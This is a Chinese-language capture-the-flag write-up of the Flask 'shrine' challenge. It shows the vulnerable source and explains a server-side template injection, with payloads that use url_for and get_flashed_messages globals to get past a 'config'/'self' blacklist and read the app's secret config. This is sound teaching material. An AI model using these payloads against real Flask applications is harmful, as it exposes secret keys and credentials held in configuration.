[WesternCTF2018]shrine

image-20240515210916400

import flask 
import os

app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
return open(__file__).read()

@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__': app.run(debug=True)

所以我们一部分一部分拆解一下

import flask 
import os

app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
//注册了一个名为FLAG的config,所以这个config大概率就是flag

所以我们就是要访问config

但是

blacklist = ['config', 'self'] 

所以不可以直接访问config

这边首先确认一下怎么注入吧

这边采取ssti(我还是不懂怎么判断是不是模版注入)

经过查询之后(flask框架没学深的好难过)

发现了两个函数可以绕过

get_flashed_messages.__globals__['current_app'].config
url_for.__globals__['current_app'].config

这两个是py的内置函数

知识点放最后了

所以

就是传上去,同时

@app.route('/shrine/') 

人家告诉你就是从这个路径进去了,就按人家的走(我没有阴阳)

image-20240515212951135

get it

url_for和get_flashed_message函数介绍

url_for这个可以用来构造url,接受函数名作为第一个参数

get_flashed_message()是通过flash()传入闪现信息列表的,能够把字符串对象表示的信息加入到一个消息列表,然后通过调用get_flashed_message()来取出。